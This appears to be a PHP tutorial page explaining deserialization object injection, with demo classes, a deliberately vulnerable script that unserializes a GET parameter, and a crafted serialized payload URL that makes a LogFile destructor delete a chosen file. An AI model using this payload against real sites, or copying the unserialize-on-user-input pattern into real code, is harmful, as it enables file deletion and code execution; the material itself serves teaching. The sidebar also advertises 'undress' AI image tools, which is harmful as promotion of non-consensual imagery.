search
HomeBackend DevelopmentPHP TutorialPHP about deserialization object injection vulnerability

PHP about deserialization object injection vulnerability

Mar 10, 2018 pm 01:16 PM
phpSerializationloopholes


php object injection is a very common vulnerability. Although this type of vulnerability is somewhat difficult to exploit, it is still very dangerous. This article mainly shares with you a detailed explanation of PHP's deserialization object injection vulnerability. I hope it can help you.

Analysis

php basics

serialize converts an object into a string form, which can be used to save
unserialize turns the serialized string into a The object

php class may contain some special functions called magic functions. Magic function names start with the symbol __,
such as __construct, __destruct, __toString, __sleep, __wakeup, etc.

These functions are automatically called under certain circumstances, such as
__construct is called when an object is created,
__destruct is called when an object is destroyed,
__toString is called when an object is destroyed Used as a string.

Example

For example:

    <?php    

    class TestClass    
    {    
        public $variable = &#39;This is a string&#39;;    

        public function PrintVariable()    
        {    
            echo $this->variable . &#39;<br />&#39;;    
        }     

        public function __construct()    
        {    
            echo &#39;__construct <br />&#39;;    
        }      

        public function __destruct()    
        {    
            echo &#39;__destruct <br />&#39;;    
        }    

        public function __toString()    
        {    
            return &#39;__toString<br />&#39;;    
        }    
    }    

    $object = new TestClass();        
    $object->PrintVariable();    
    echo $object;      

    ?>

PHP about deserialization object injection vulnerability

php allows you to save an object for later reuse. This process is called serialization .

Why is there a mechanism for serialization?
In the process of passing variables, it is possible to encounter the process of passing variable values ​​across script files. Just imagine, if you want to call the variables of a previous script in a script, but the previous script has been executed and all variables and contents are released, how do we do it? Do we need the previous script to continuously loop and wait for the next one? Script call? This is definitely unrealistic.

serialize and unserialize are used to solve this problem. Serialize can convert a variable into a string and save the value of the current variable during the conversion; unserialize can convert the string generated by serialize back into a variable. This perfectly solves cross-script transmission and execution.

Magic functions __construct and __destruct are automatically called when an object is created or destroyed;
__sleep magic method is called when an object is serialized;
__wakeup magic method is called when an object is reversed Called during serialization.

<?phpclass User    {    
    public $age = 0;    
    public $name = &#39;&#39;;  
    public function Printx()
    {
      echo $this->name.&#39; is &#39;.$this->age.&#39; years old.<br/>&#39;;
    }    public function __construct()    
    {    
        echo &#39;__construct<br />&#39;;    
    }    

    public function __destruct()    
    {    
        echo &#39;__destruct<br />&#39;;    
    }    

    public function __wakeup()    
    {    
        echo &#39;__wakeup<br />&#39;;    
    }    

    public function __sleep()    
    {    
        echo &#39;__sleep<br />&#39;;    

        return array(&#39;name&#39;, &#39;age&#39;);    
    }    
}$usr = new User(); 
$usr->age = 20;    
$usr->name = &#39;John&#39;;    
$usr->Printx();    
echo serialize($usr);echo &#39;<br/>&#39;;   

$str = &#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}&#39;;  
$user2 = unserialize($str);$user2->Printx();?>

PHP about deserialization object injection vulnerability

Now we understand how serialization works, but how do we take advantage of it?
There are multiple possible methods, depending on the application, available classes and magic functions.

Remember that serialized objects contain attacker-controlled object values.
You may find a class that defines __wakeup or __destruct in the web application source code. These functions will affect the web application.

For example, we might find a class that temporarily stores logs to a file. When destroyed the object may no longer need the log file and delete it. Save the following code as log.php.

<?php     //log.php     class LogFile    {    
    // log文件名    

    public $filename = &#39;error.log&#39;;    

    // 储存日志文件    

    public function LogData($text)    
    {    
        echo &#39;Log some data: &#39; . $text . &#39;<br />&#39;;    
        file_put_contents($this->filename, $text, FILE_APPEND);    
    }    

    // 删除日志文件    

    public function __destruct()    
    {    
        echo &#39;__destruct deletes "&#39; . $this->filename . &#39;" file. <br />&#39;;    
        unlink(dirname(__FILE__) . &#39;/&#39; . $this->filename);    
    }    
}    

?>

test.php Assume this is php for the user.

    <?php    
    //test.php     
    include &#39;logfile.php&#39;;    

    // ... 一些使用LogFile类的代码...    

    // 简单的类定义    

    class User    
    {    
        // 类数据    

        public $age = 0;    
        public $name = &#39;&#39;;    

        // 输出数据    

        public function PrintData()    
        {    
            echo &#39;User &#39; . $this->name . &#39; is &#39; . $this->age . &#39; years old. <br />&#39;;    
        }    
    }    

    // 重建用户输入的数据    

    $usr = unserialize($_GET[&#39;usr_serialized&#39;]);    

    ?>

123.php

<?php    
    //123.php  
    include &#39;logfile.php&#39;;    

    $obj = new LogFile();    
    $obj->filename = &#39;1.php&#39;;    

    echo serialize($obj) . &#39;<br />&#39;;    

    ?>

There is a 1.php at the beginning:
PHP about deserialization object injection vulnerability

Now the user passes in a serialized string, test.php will Its deserialization,

http://127.0.0.1/test.php?usr_serialized=

O:7:%22LogFile%22:1:{s:8: %22filename%22;s:5:%221.php%22;}

As a result, during the release process, the parsed object called __destruct( of log.php ) function, deleted the file 1.php.

PHP about deserialization object injection vulnerability

PHP about deserialization object injection vulnerability

Utilization summary

Inject the serialization object where the variable is controllable and the unserialize operation is performed, and implement the code execution or other deceptive behavior.

Leaving aside __wakeup and __destruct, there are some very common injection points that allow you to exploit this type of vulnerability. Everything depends on the program logic.
For example, a user class defines a __toString to allow the application to output the class as a string (echo $obj), and other classes may also define a class to allow __toString to read a file. .


Other magic functions can also be used:
If the object will call a non-existent function __call will be called;
If the object attempts to access non-existent class variables __get and _ _set will be called.

But the use of this vulnerability is not limited to magic functions, the same idea can also be adopted for ordinary functions.

For example, the User class may define a get method to find and print some user data, but other classes may define a get method to obtain data from the database, which may lead to SQL injection vulnerabilities.

The set or write method will write data to any file, which can be used to obtain remote code execution.

The only technical issue is the classes available at the injection point, but some frameworks or scripts have automatic loading capabilities. The biggest problem is people: understanding the application to be able to exploit this type of vulnerability, as it can take a lot of time to read and understand the code.

related suggestion:

Detailed explanation of PHP serialization and deserialization principles

Detailed introduction of serialization and deserialization

javascript implementation json serialization and deserialization function example

The above is the detailed content of PHP about deserialization object injection vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
How often should you regenerate session IDs?How often should you regenerate session IDs?Apr 23, 2025 am 12:03 AM

The session ID should be regenerated regularly at login, before sensitive operations, and every 30 minutes. 1. Regenerate the session ID when logging in to prevent session fixed attacks. 2. Regenerate before sensitive operations to improve safety. 3. Regular regeneration reduces long-term utilization risks, but the user experience needs to be weighed.

How do you set the session cookie parameters in PHP?How do you set the session cookie parameters in PHP?Apr 22, 2025 pm 05:33 PM

Setting session cookie parameters in PHP can be achieved through the session_set_cookie_params() function. 1) Use this function to set parameters, such as expiration time, path, domain name, security flag, etc.; 2) Call session_start() to make the parameters take effect; 3) Dynamically adjust parameters according to needs, such as user login status; 4) Pay attention to setting secure and httponly flags to improve security.

What is the main purpose of using sessions in PHP?What is the main purpose of using sessions in PHP?Apr 22, 2025 pm 05:25 PM

The main purpose of using sessions in PHP is to maintain the status of the user between different pages. 1) The session is started through the session_start() function, creating a unique session ID and storing it in the user cookie. 2) Session data is saved on the server, allowing data to be passed between different requests, such as login status and shopping cart content.

How can you share sessions across subdomains?How can you share sessions across subdomains?Apr 22, 2025 pm 05:21 PM

How to share a session between subdomains? Implemented by setting session cookies for common domain names. 1. Set the domain of the session cookie to .example.com on the server side. 2. Choose the appropriate session storage method, such as memory, database or distributed cache. 3. Pass the session ID through cookies, and the server retrieves and updates the session data based on the ID.

How does using HTTPS affect session security?How does using HTTPS affect session security?Apr 22, 2025 pm 05:13 PM

HTTPS significantly improves the security of sessions by encrypting data transmission, preventing man-in-the-middle attacks and providing authentication. 1) Encrypted data transmission: HTTPS uses SSL/TLS protocol to encrypt data to ensure that the data is not stolen or tampered during transmission. 2) Prevent man-in-the-middle attacks: Through the SSL/TLS handshake process, the client verifies the server certificate to ensure the connection legitimacy. 3) Provide authentication: HTTPS ensures that the connection is a legitimate server and protects data integrity and confidentiality.

The Continued Use of PHP: Reasons for Its EnduranceThe Continued Use of PHP: Reasons for Its EnduranceApr 19, 2025 am 12:23 AM

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python: Exploring Their Similarities and DifferencesPHP and Python: Exploring Their Similarities and DifferencesApr 19, 2025 am 12:21 AM

PHP and Python are both high-level programming languages ​​that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP and Python: Different Paradigms ExplainedPHP and Python: Different Paradigms ExplainedApr 18, 2025 am 12:26 AM

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools